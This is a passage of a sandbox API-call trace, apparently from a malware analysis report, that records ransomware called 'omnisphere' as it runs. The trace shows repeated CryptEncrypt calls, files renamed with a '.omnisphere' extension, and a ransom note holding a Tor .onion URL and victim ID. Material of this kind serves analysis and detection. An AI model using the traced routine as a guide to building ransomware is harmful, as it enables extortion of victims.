pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.346] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.347] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.348] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.352] CryptDestroyKey (hKey=0x16394e8) returned 1 [0155.352] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0155.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x1268b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.352] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.352] GetProcessHeap () returned 0x1600000 [0155.352] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e4) returned 0x1731978 [0155.352] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg.omnisphere")) returned 1 [0155.354] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.omnisphere.id" [0155.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.355] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.356] CloseHandle (hObject=0x388) returned 1 [0155.356] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0155.356] CloseHandle (hObject=0x3c0) returned 1 [0155.356] SetEndOfFile (hFile=0x288) returned 1 [0155.356] FlushFileBuffers (hFile=0x288) returned 1 [0155.367] CloseHandle (hObject=0x288) returned 1 [0155.367] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles") returned 1 [0155.367] GetProcessHeap () returned 0x1600000 [0155.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1731f90 [0155.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.367] GetProcessHeap () returned 0x1600000 [0155.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd6e0 [0155.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd6e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.368] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.368] GetProcessHeap () returned 0x1600000 [0155.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726b38 [0155.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726b38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.368] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.368] GetProcessHeap () returned 0x1600000 [0155.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c1e8 [0155.368] PathCombineW (in: pszDest=0x162c1e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\!DECRYPT_OMNISPHERE.txt" [0155.368] GetProcessHeap () returned 0x1600000 [0155.368] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1721f08 [0155.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.370] WriteFile (in: hFile=0x288, lpBuffer=0x1721f08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1721f08*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.371] CloseHandle (hObject=0x288) returned 1 [0155.371] GetProcessHeap () returned 0x1600000 [0155.371] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731f90 | out: hHeap=0x1600000) returned 1 [0155.371] GetProcessHeap () returned 0x1600000 [0155.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0155.371] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\unique_decrypt.key" [0155.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.372] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.373] CloseHandle (hObject=0x288) returned 1 [0155.373] GetProcessHeap () returned 0x1600000 [0155.373] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0155.373] GetProcessHeap () returned 0x1600000 [0155.373] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e780 | out: hHeap=0x1600000) returned 1 [0155.373] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeeb8bd4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1268b, dwReserved0=0x0, dwReserved1=0xcc, cFileName="CachedImage_1440_900_POS4.jpg", cAlternateFileName="CACHED~1.JPG")) returned 0 [0155.374] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0155.374] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3db3fbec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db3fbec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3db3fbec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db3fbec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db3fbec, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3db3fbec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db3fbec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeeb8bd4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3db19b9e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x12baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CachedImage_1440_900_POS4.jpg.omnisphere", cAlternateFileName="CACHED~1.OMN")) returned 1 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db19b9e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3db19b9e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db19b9e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="CachedImage_1440_900_POS4.jpg.omnisphere.id", cAlternateFileName="CACHED~1.ID")) returned 1 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db3fbec, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3db3fbec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db3fbec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0155.374] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db3fbec, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3db3fbec, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db3fbec, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0155.374] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0155.374] GetProcessHeap () returned 0x1600000 [0155.374] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0155.374] GetProcessHeap () returned 0x1600000 [0155.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b4e8 | out: hHeap=0x1600000) returned 1 [0155.375] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, 